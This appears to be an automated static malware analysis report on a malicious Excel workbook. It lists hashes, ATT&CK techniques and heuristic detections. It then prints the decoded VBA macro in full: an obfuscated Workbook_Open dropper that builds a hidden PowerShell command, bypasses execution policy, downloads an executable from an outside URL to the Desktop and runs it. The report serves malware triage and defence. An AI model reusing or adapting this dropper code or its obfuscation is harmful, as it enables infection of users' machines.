Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b709d7b66ed9126c…

MALICIOUS

Office (OLE)

86.5 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2019-01-11
MD5: 3772ab3092193dfb4a0c78ab31600a07 SHA-1: c9d508b63c3775519b1ff007a8285d357d9168b1 SHA-256: b709d7b66ed9126c3600c14a0320d8ff36e81f3e699e61d841e06352d702829d
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is an Excel document containing VBA macros, specifically a Workbook_Open macro that executes a PowerShell command. This command is designed to download a file from 'http://bozem.co/ubd' to the user's desktop and execute it as a .exe file. The script also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 5

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bozem.co/ubd\ In document text (OLE body)
    • http://bozem.co/ubdIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2210 bytes
SHA-256: dbb5ee4e7261d712dad09715c82d7aa969c9edbfad94d4f2d545f17d2b65a4e2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True




Function hipperstars()
If msoBulletPicture > 0 Then


boolballall = Array(Now(), "NOnInt", Now(), Now())
figiremabli = Array(Minute(Now), Now(), "ErS" + "he", Minute(Now))
sigamegaloaft = "ass  "
waptermsand = Array(Now(), "opRo" + "Fi -W", Now())
singapurevolime = Array(Now(), "ass  " + "  """, Minute(Now), Minute(Now), "d   " + "/c""", Now())
frruiterkeep = Array(Second(Now), Now(), Now(), Now(), "deN -N")


fahajahaa = Array(Second(Now), Now(), Second(Now), Now(), Now(), "eCU" + "TI", Minute(Now), Now(), Second(Now))

hipperstars = "cm" + singapurevolime(4) + "pOW" + figiremabli(2) + "Ll -n" + waptermsand(1) + "In  hiD" + frruiterkeep(4) + "OLo -" + boolballall(1) + "eRA  -eX" + fahajahaa(5) + "oNp bYp" + singapurevolime(1)
End If
End Function




Sub Workbook_Open()
If contverresUnverified > 0.9 Then
Dim vagadenmarkus As String
Randomize
vagadenmarkus = Int(Rnd * 8966894#)
techblueand = "$7d0mK6 = [TyPE](\""{1}{0}{3}{2}\"" -f 'on','ENVIr','Nt','mE') ;  "
engsiniores = "do{&(\""{1}{0}\"" -f'ep','sle') 33;${D`es} =  $7d0mk6::gETfoLDERpATh(\""Desktop\"");(&(\""{0}{1}{2}\"" -f'Ne','w-','Object') "
rabbeiego = vagadenmarkus
baltimoruss = "(\""{0}{2}{1}{3}{5}{6}{4}\""-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\""http://bozem.co/ubd\"",\""$Des\" + rabbeiego + ".exe\"")}"
familiesnames = "while(!${?});&(\""{0}{2}{3}{1}\""-f 'St','ocess','art','-Pr') $Des\" + rabbeiego + ".exe"""
rubicvonv = techblueand + engsiniores + baltimoruss + familiesnames
Shell hipperstars + rubicvonv, fmTabStyleTabs
End If
End Sub







Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True